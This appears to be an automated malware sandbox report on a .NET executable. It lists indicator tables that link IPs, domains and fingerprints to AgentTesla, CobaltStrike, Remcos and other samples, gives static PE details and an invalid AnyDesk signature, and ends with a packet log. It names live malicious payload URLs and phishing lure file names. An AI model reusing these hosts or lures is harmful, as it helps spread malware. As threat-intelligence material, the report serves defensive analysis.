	PO Invoice XJ210821Q.PDF.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	PO Invoice XJ210821Q.PDF.scr.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	comprobante_HSBC_765543465768798086756458665345768.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	Company profile.js	Get hash	malicious	PXRECVOWEIWOEI Stealer, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
78.110.166.82	COB756883.vbs	Get hash	malicious	CobaltStrike	Browse	windowsupdatesolutions.com/ServerCOB.txt
	Ingreso_SII_Abril_2021.cmd	Get hash	malicious	Unknown	Browse	www.emolcl.com/namaste/puma.php
	Ingreso_SII_Abril_2021.cmd	Get hash	malicious	Unknown	Browse	www.emolcl.com/namaste/puma.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cdn.discordapp.com	CSBls4grBI.exe	Get hash	malicious	LummaC, Socks5Systemz	Browse	162.159.130.233
	https://mj.ostep.net/acknowledgements	Get hash	malicious	Unknown	Browse	162.159.133.233
	Shipping Documemt.vbs	Get hash	malicious	Lokibot	Browse	162.159.135.233
	CERENAK-7373.exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	CERENAK-7373.exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	22.09.2024-22.09.2024.exe	Get hash	malicious	AgentTesla	Browse	162.159.133.233
	receipt#295.vbs	Get hash	malicious	Unknown	Browse	162.159.129.233
	COT-14303168077.pdf.js	Get hash	malicious	Unknown	Browse	162.159.135.233
	https://mjj.aigc369.com/	Get hash	malicious	Unknown	Browse	162.159.130.233
ip-api.com	SecuriteInfo.com.Win32.Malware-gen.27656.20815.exe	Get hash	malicious	Blackshades, Quasar	Browse	208.95.112.1
	nDHL_AWB_6078538091_scr.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	CCE_000110.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	rMT103SwiftCopyoFPayment.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	QUOTE_467654.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	COMMERCAIL INVOICE AND TNT AWB TRACKING INVOICE.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	http://getcloudapp.com	Get hash	malicious	Unknown	Browse	208.95.112.2
	PO Invoice XJ210821Q.PDF.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	PO Invoice XJ210821Q.PDF.scr.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	comprobante_HSBC_765543465768798086756458665345768.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
zqamcx.com	eFatura_ETN2024000000575_Ekleri.exe	Get hash	malicious	AgentTesla	Browse	78.110.166.82
	SecuriteInfo.com.Win32.MalwareX-gen.16545.12050.exe	Get hash	malicious	AgentTesla	Browse	78.110.166.82
	DOC25082024.bat.exe	Get hash	malicious	AgentTesla	Browse	78.110.166.82
	Halkbank_Ekstre_20240826_081429_424889.bat.exe	Get hash	malicious	AgentTesla	Browse	78.110.166.82
	SecuriteInfo.com.Win32.MalwareX-gen.1615.29113.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	78.110.166.82

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UKSERVERS-ASUKDedicatedServersHostingandCo-Location	CCE_000110.exe	Get hash	malicious	AgentTesla	Browse	78.110.166.82
	https://qrplanet.com/smdv5p/	Get hash	malicious	Unknown	Browse	5.101.173.45
	22.09.2024-22.09.2024.exe	Get hash	malicious	AgentTesla	Browse	78.110.166.82
	FaturaHat#U0131rlatma.exe	Get hash	malicious	AgentTesla	Browse	78.110.166.82
	Payment_Release-Now cnesst.gouv.qc.ca.html	Get hash	malicious	Unknown	Browse	5.101.173.45
	Payment Advice.pdf.js	Get hash	malicious	Remcos	Browse	178.159.12.230
	eFatura_ETN2024000000575_Ekleri.exe	Get hash	malicious	AgentTesla	Browse	78.110.166.82
	AMERICAN GROUP.js	Get hash	malicious	Remcos	Browse	178.159.12.230
	SecuriteInfo.com.Win32.MalwareX-gen.16545.12050.exe	Get hash	malicious	AgentTesla	Browse	78.110.166.82
	#U00d6deme Talebi_27.08.2024.exe	Get hash	malicious	AgentTesla	Browse	78.110.166.82
TUT-ASUS	SecuriteInfo.com.Win32.Malware-gen.27656.20815.exe	Get hash	malicious	Blackshades, Quasar	Browse	208.95.112.1
	nDHL_AWB_6078538091_scr.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	0umBa15TaN.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	0umBa15TaN.exe	Get hash	malicious	Unknown	Browse	208.95.112.1
	CCE_000110.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	rMT103SwiftCopyoFPayment.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	QUOTE_467654.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	COMMERCAIL INVOICE AND TNT AWB TRACKING INVOICE.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	http://getcloudapp.com	Get hash	malicious	Unknown	Browse	208.95.112.2
	PO Invoice XJ210821Q.PDF.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
CLOUDFLARENETUS	64.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	PO-100001499.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	ADNOC requesting RFQ.exe	Get hash	malicious	FormBook	Browse	104.21.64.108
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlsx.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	https://qwehikd-asdu.xyz/	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://geminishdw-dws.top/	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://geminiqwc-sw.top/	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://qwekorqw-eqo.top/	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://geminiup-uuyc.top/	Get hash	malicious	Unknown	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130_xlsx.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger, VIP Keylogger	Browse	162.159.134.233
	https://geminiqwc-sw.top/	Get hash	malicious	Unknown	Browse	162.159.134.233
	http://tiktok1688.cc/	Get hash	malicious	Unknown	Browse	162.159.134.233
	https://qwekorqw-eqo.top/	Get hash	malicious	Unknown	Browse	162.159.134.233
	https://qwoms-dei3.top/	Get hash	malicious	Unknown	Browse	162.159.134.233
	http://cmn.pkgu192.vip/	Get hash	malicious	Unknown	Browse	162.159.134.233
	http://frt.asan192.vip/	Get hash	malicious	Unknown	Browse	162.159.134.233
	https://tiktokshopxx.top/	Get hash	malicious	Unknown	Browse	162.159.134.233
	http://frt.msxd711.vip/	Get hash	malicious	Unknown	Browse	162.159.134.233

Process:	C:\Users\user\Desktop\450230549.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.345615485833535
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhPKIE4oKNzKoZAE4KzeR:MxHKlYHKh3oPtHo6hAHKzeR
MD5:	EEEC189088CC5F1F69CEE62A3BE59EA2
SHA1:	250F25CE24458FC0C581FDDF59FAA26D557844C5
SHA-256:	5345D03A7E6C9436497BA4120DE1F941800F2522A21DE70CEA6DB1633D356E11
SHA-512:	2E017FD29A505BCAC78C659DE10E0D869C42CE3B057840680B23961DBCB1F82B1CC7094C87CEEB8FA14826C4D8CFED88DC647422A4A3FA36C4AAFD6430DAEFE5
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.490515014251841
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.96% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	450230549.exe
File size:	107'848 bytes
MD5:	5086980f3ee0c035ec304102e6981410
SHA1:	fca1625b36a002d77f69586f96744dfbcde1d472
SHA256:	bfcef30ac8c0270957b3126d0b9046ddd4bc67fdffea077dd0a127809aa233a6
SHA512:	baca4e5d7b1c7f4a7ddcf1ff2ba9876677a9ec43f5a4f6f985f55225b6d59ddb50bb7da1609a91b2ba389796e42407164111d9268dbc6a930f8b180da6d8e2c2
SSDEEP:	1536:YPDs/XKdUDp1lRzloawwPI7zwHPG72uu630VDxl7Hxij7wPTxq:YP4b1lFLwM9PG720EVDxlQjcPU
TLSH:	E5B34B166AC5D705D9E87EF860F7012217B2BDC61630C28B2DB8B7588E72393EDC566C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....I.............................N.... ........@.. ....................................`................................

File Icon


Icon Hash:	8f82989919951d01

Static PE Info

General

Entrypoint:	0x40e74e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xA449B1F0 [Sat May 5 12:58:24 2057 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	12/02/2024 00:00:00 12/02/2025 23:59:59
Subject Chain	CN=AnyDesk Software GmbH, O=AnyDesk Software GmbH, L=Stuttgart, S=Baden-W\xfcrttemberg, C=DE
Version:	3
Thumbprint MD5:	E4E34304F4315A15A0BC0E413363721E
Thumbprint SHA-1:	CA38CF219C8E9782A8CBBD76643D24E4F2D74B03
Thumbprint SHA-256:	AF74DC88EF91477F8A93E5DA98B3C80ECD6CB6A10271DC6DC768EC3F34239BC0
Serial:	030E330A8ED28347BDA3BB478E410D7C

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xe700	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x12000	0x83e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x15400	0x5148
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xe6bf	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xc754	0xc800	c094f9bd686d5b7b28df2388262d0f14	False	0.55212890625	data	6.171156178031321	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.sdata	0x10000	0x1e8	0x200	ba1a51c546597b8fdcb7d0154e4ab651	False	0.857421875	data	6.638446248926509	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x12000	0x83e8	0x8400	37bfb2adf08a7790d9ce6bdcc9f0ae0c	False	0.2878196022727273	data	5.210626337188779	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1c000	0xc	0x200	c70b7482b129e12d54df7f5701eccbd1	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x121c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	0.5487588652482269
RT_ICON	0x12628	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	0.37922138836772984
RT_ICON	0x136d0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	0.28060165975103735
RT_ICON	0x15c78	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	0.25614076523382145
RT_GROUP_ICON	0x19ea0	0x3e	data	0.7903225806451613
RT_VERSION	0x19ee0	0x31c	data	0.42839195979899497
RT_MANIFEST	0x1a1fc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 09:18:53.063005924 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.063055038 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.063131094 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.097182989 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.097204924 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.605844975 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.605990887 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.610922098 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.610938072 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.611340046 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.659261942 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.693247080 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.739401102 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.828139067 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.828355074 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.828408003 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.828422070 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.828552961 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.828603983 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.828609943 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.828756094 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.828811884 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.828818083 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.828917027 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.828974009 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.828979015 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.832915068 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.832976103 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.832982063 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.877991915 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.878005028 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.919140100 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.919244051 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.919253111 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.919379950 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.919434071 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.919440031 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.919611931 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.919681072 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.919687033 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.919785976 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.919841051 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.919846058 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.919974089 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.920022964 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.920027971 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.920517921 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.920577049 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.920581102 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.920635939 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.920665026 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.920684099 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.920692921 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.920734882 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.920825005 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.920890093 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.920937061 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.920955896 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.920962095 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.921005964 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.921010017 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.921665907 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.921700954 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.921725988 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.921732903 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:53.921777964 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:53.988008976 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.034240961 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.034249067 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.081114054 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.352169037 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.352369070 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.352425098 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.352442980 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.352570057 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.352619886 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.352631092 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.352675915 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.352735043 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.352741003 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.352812052 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.352818966 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.352844954 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.352874041 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.352936029 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.352998972 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.353004932 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.353051901 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.353051901 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.353072882 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.353120089 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.353168011 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.353233099 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.353266954 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.353324890 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.353370905 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.353420973 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.353528023 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.353640079 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.353646040 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.353672028 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.353693008 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.353707075 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.353728056 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.353873968 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.353933096 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.353939056 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.353982925 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.353984118 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.354006052 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.354044914 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.354095936 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.354157925 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.354162931 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.354192019 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.354212046 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.354217052 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.354239941 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.354299068 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.354357958 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.354362965 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.354389906 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.354415894 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.354422092 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.354444027 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.357009888 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.357079029 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.357084036 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.357136965 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.357477903 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.357544899 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.357573032 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.357639074 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.357711077 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.357774973 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.358278036 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.358342886 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.358378887 CEST	443	49731	162.159.134.233	192.168.2.4
Sep 26, 2024 09:18:54.358437061 CEST	49731	443	192.168.2.4	162.159.134.233
Sep 26, 2024 09:18:54.358478069 CEST	443	49731	162.159.134.233	192.168.2.4
